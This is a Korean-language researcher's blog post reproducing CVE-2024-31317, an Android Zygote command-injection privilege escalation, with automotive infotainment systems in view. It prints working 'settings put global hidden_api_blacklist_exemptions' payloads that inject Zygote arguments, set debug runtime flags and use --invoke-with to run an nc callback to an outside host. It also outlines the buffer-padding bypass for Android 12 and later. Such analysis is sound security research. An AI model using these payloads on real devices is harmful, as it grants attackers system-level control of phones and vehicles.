
CVE-2024-31317
며칠 전 JD 공식 계정에서 CVE-2024-31317 취약점 분석 글을 봤는데, 전체적으로 읽어보니 꽤 흥미로웠습니다. 또한 차량용 인포테인먼트 시스템의 현재 주류 솔루션은 모두 Android이며 해당 취약점의 영향을 받는 범위 내에 있어 재현을 시작했습니다.
사용자 모드 권한 상승이므로 먼저 해당 사용자 권한을 획득해야 합니다. 따라서 차량 네트워크 환경에서는 일부 제한이 있습니다. 현재 주류 방법은 알 수 없는 서명의 APK 설치를 제한하고, 공학 모드 및 ADB에 직접 접근할 수 없도록 하는 것입니다. 그러나 다른 취약점이나 기술과 결합하면 여전히 유용합니다. System이 많은 작업을 수행할 수 있기 때문입니다. 추가로 이 취약점은 WRITE_SECURE_SETTINGS 권한이 필요합니다. 기본적으로 ADB에 이 권한이 있으며, 공학 모드를 획득한 후 권한 상승에 사용하기에 꽤 좋습니다. ADB를 직접 사용할 수 없다면 다른 취약점과 결합하여 권한을 획득해야 합니다.
이 취약점은 명령어 삽입(command injection)에 해당합니다. 전체 분석 난이도는 높지 않지만, 분석 전에 Zygote를 이해해야 합니다. Zygote는 데몬 프로세스로 실행되며, fork를 통해 애플리케이션 프로세스를 생성하고 /dev/socket/zygote의 UNIX 소켓 명령을 수신합니다. 각 명령은 십진수 숫자로 시작하며, 그 뒤에 해당 숫자만큼의 매개변수가 옵니다.
8 [command #1 arg count]
--runtime-args [arg #1: vestigial, needed for process spawn]
--setuid=10266 [arg #2: process UID]
--setgid=10266 [arg #3: process GID]
--target-sdk-version=31 [args #4-#7: misc app parameters]
--nice-name=com.facebook.orca
--app-data-dir=/data/user/0/com.facebook.orca
--package-name=com.facebook.orca
android.app.ActivityThread [arg #8: Java entry point]
3 [command #2 arg count]
--set-api-denylist-exemptions [arg #1: special argument, don't spawn process]
LClass1;->method1( [args #2, #3: denylist entries]
LClass1;->field1:
diff path 파일을 보면 수정 내용이 개행 문자 주석을 추가하는 것임을 알 수 있습니다. 이는 이전 버전에서는 개행을 통해 명령어를 삽입하여 새 프로세스를 시작할 수 있음을 간접적으로 증명합니다.
계속해서 해당 함수의 호출을 추적하면, 처음에 HIDDEN_API_BLACKLIST_EXEMPTIONS 값을 읽어오는 과정부터 이후 모든 전달 과정에 걸쳐 어떠한 필터링도 없다는 것을 알 수 있습니다. 즉, 임의의 매개변수를 직접 삽입할 가능성이 있습니다.
따라서 자연스럽게 생각할 수 있는 것은, HIDDEN_API_BLACKLIST_EXEMPTIONS의 값을 제어할 수만 있다면 사용자 정의 매개변수를 삽입할 수 있다는 것입니다. 앞서 언급했듯이 이 값을 설정하려면 WRITE_SECURE_SETTINGS 권한이 필요합니다. ADB는 기본적으로 이 권한을 가지고 있으며, 시스템의 settings 명령어를 사용하여 settings put global hidden_api_blacklist_exemptions command를 실행하기만 하면 됩니다. 다음과 같은 방식으로 새 프로세스를 삽입해 볼 수 있습니다.
settings put global hidden_api_blacklist_exemptions "LClass1;->method1(
8
--runtime-args
--setuid=1000
--setgid=1000
--nice-name=com.android.settings
--app-data-dir=/data/user/0/com.android.settings
--package-name=com.android.settings
--seinfo=platform:system_app:targetSdkVersion=29:complete
android.app.ActivityThread"
하지만 이것만으로는 요구 사항을 충족할 수 없으며, 여전히 명령어를 실행할 수 없습니다. 분석 결과 invokeWith 매개변수를 통해 명령어 실행이 가능하다는 것을 발견했습니다.
그러면 다음 단계는 매우 간단합니다. 다음과 같은 명령어를 구성하면 됩니다.
settings put global hidden_api_blacklist_exemptions "LClass1;->method1(
6
--runtime-args
--setuid=1000
--setgid=1000
--invoke-with
nc 192.168.0.112 9981;
--seinfo=platform:system_app:targetSdkVersion=29:complete"
이 시점에서 성공적으로 트리거되지 않는 것을 확인할 수 있습니다. logcat을 확인하면 다음 정보가 반환되며, 디버그 모드가 필요하다는 메시지가 표시됩니다. 그렇다면 어떻게 디버그 모드로 진입할 수 있을까요?
계속해서 코드를 살펴보면, 시작 시 runtime-flags 매개변수가 존재하며 디버그 속성을 구성하는 데 사용된다는 것을 알 수 있습니다.
구성 가능한 매개변수는 다음과 같습니다.
따라서 시작 시 이 매개변수를 추가하고 모든 디버그 속성을 활성화하면 됩니다. 수정된 명령어는 다음과 같습니다.
settings put global hidden_api_blacklist_exemptions "LClass1;->method1(
7
--runtime-args
--setuid=1000
--setgid=1000
--runtime-flags=43267
--invoke-with
nc 192.168.0.112 9981;
--seinfo=platform:system_app:targetSdkVersion=29:complete"
실행 후 nc가 성공적으로 네트워크 요청을 캡처했습니다.

Android 11 이하에서는 위의 방법을 사용하여 간단하게 이용할 수 있습니다. 그러나 Android 12 이후 Google은 Zygote의 Java 명령어 파서를 강화하기 위해 빠른 경로(fast path) C++ 명령어 파서를 구현했으며, 새로운 클래스 NativeCommandBuffer를 통해 이 작업을 수행합니다. NativeCommandBuffer는 모든 명령줄을 구문 분석한 후, 이후 내용을 모두 폐기하고 소켓에서 다음 명령을 다시 읽습니다. 즉, 명령어 삽입을 통해 두 개의 명령을 주입하면 주입된 내용이 폐기되어 삽입이 발생하지 않습니다. 따라서 첫 번째 read() 호출을 우회하는 방법이 필요합니다. 주로 원저자의 방법을 참고하여, 끝에 많은 수의 쉼표를 삽입하여 maybeSetApiDenylistExemptions()가 쓰기 이후에 많은 시간을 소비하여 루프를 수행하고 중간 시간 간격을 늘리도록 합니다. 주요 논리는 maybeSetApiDenylistExemptions()가 state.mZygoteOutputWriter.write()를 여러 번 호출하지만, 이러한 호출이 소켓 쓰기에 직접 매핑되지 않는다는 점입니다. mZygoteOutputWriter가 BufferedWriter를 상속받기 때문에 기본 전송에 쓰기 전에 내부 버퍼의 데이터를 집계하기 때문입니다. 이 메커니즘은 적절한 지연과 함께 두 개의 소켓 쓰기를 발행할 수 있는 기성 방법을 제공합니다.
BufferedWriter의 버퍼 크기는 8192바이트로, Zygote의 버퍼보다 훨씬 작습니다. 따라서 악성 명령어를 삽입하기 전에 버퍼를 8192바이트로 채워서 BufferedWriter가 먼저 이 데이터를 쓰도록 강제하면 됩니다.
원래 이 글은 훨씬 전에 써야 했는데, 계속 바빠서 깜빡했네요😷 게다가 "铸网" 행사에서 이 취약점으로 꽤 많은 점수를 벌었습니다. 최근에 테스트 프로젝트를 진행했는데 우연히 Android 차량용 인포테인먼트 시스템이었고, 그래서 반쯤 써놓은 이 블로그 글이 생각나서, 아직 기억나는 게 있을 때 빨리 기록해두려고 합니다. 또한 이 취약점을 재현하는 과정에서 많은 도움을 주신 flanker 님께 진심으로 감사드립니다. 많은 함정을 피할 수 있었습니다.